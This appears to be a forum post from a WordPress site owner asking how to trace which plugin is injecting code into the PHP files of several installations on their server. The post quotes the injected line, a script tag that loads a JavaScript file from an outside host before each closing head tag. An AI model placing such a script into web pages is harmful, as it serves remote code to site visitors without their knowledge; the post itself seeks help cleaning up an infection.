It appears there is a new exploit/hack going around where a Wordpress plugin is writing a .js file before every closing </head> tags in every Wordpress installation's .php files on my server. It's writing this code before every closing head tag:
<script language="JavaScript" src="http://abtt.tv/modules/mod_servises/ua.js" type="text/javascript"></script> My question is, how would I go about finding which files are writing code to others? That way I can find which plugin it is doing it, as I have several installations of WP in subdomains that are infected, and no idea of which one it's coming from! I'm sure there has to be a way to monitor this, whether it be my hosting company doing it or me.